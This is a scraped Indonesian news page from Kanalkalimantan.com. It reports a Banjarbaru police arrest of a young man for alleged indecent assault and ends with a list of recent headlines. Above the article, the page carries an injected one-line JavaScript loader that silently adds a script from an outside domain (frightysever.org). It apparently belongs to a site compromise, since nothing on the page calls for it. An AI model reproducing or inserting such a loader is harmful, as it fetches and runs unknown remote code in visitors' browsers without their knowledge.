(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Gerayangi Area Sensitif, Pemuda di Peramuan Landasan Ulin ke Sel Polisi


KANALKALIMANTAN.COM, BANJARBARU – AS, pemuda 22 tahun meringkuk di sel tahanan Polsek Liang Anggang karena diduga telah melakukan pencabulan kepada DZ.

Peristiwa ini bermula pada saat DZ membeli nasi goreng pada Selasa (13/12/2022) mala. Setiba membeli nasi goreng, DZ kembali ke rumah temannya di Jalan Peramuan untuk makan bersama.

Namun, pada saat makan bersama di dalam kamar, AS malah mengunci pintu kamar dan menarik korban ke atas kasur.

Kapolres Banjarbaru, AKBP Dody Harza Kusuma melalui Kasi Humas, AKP Tajuddin Noor mengatakan, kejadian dugaan pencabulan terjadi di Jalan Peramuan, Kelurahan Landasan Ulin Tengah, Kota Banjarbaru, sekitar pukul 21.00 Wita.

 

Baca juga  : Peringati Hari Bela Negara ke-74, Bupati Zairullah Ingatkan Cinta Tanah Air

“Awalnya, korban jalan dengan tersangka untuk membeli nasi goreng,” katanya.

Sesampainya di rumah, mereka makan di dalam kamar. Namun, tiba-tiba tersangka mengunci pintu kamar.

“Korban ditarik ke atas kasur, tangan dan kaki dipegang oleh pelaku,” ungkapnya.

Tersangka AS mencium bibir, sambil meraba area sensitif milik DZ. DZ yang tak terima lantas melawan dan terus berusaha melepaskan pegangan tangan tersangka.

Saat lengah, korban langsung mengambil anak kunci yang disimpan tersangka. Ia pun berhasil keluar kamar.

Baca juga  : DPPKB HSU Kembali Luncurkan Dapur Sehat Atasi Stunting di Desa Kayakah

Tak terima pencabulan yang menimpanya, DZ langsung melaporkan kejadian tersebut ke Polsek Liang Anggang.

Usai mendapat informasi keberadaan pelaku, Unit Opsnal Polsek Liang Anggang dipimpin Aiptu Deden A Lesmana melakukan penyelidikan.
“Tim berhasil mengamankan pelaku, AS di Jalan Peramuan,” tandasnya.

Pelaku dibawa ke Mapolsek Liang Anggang untuk proses hukum lebih lanjut. AS dikenakan tindak pidana perbuatan cabul sebagaimana diatur dalam pasal 289 KUHP. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.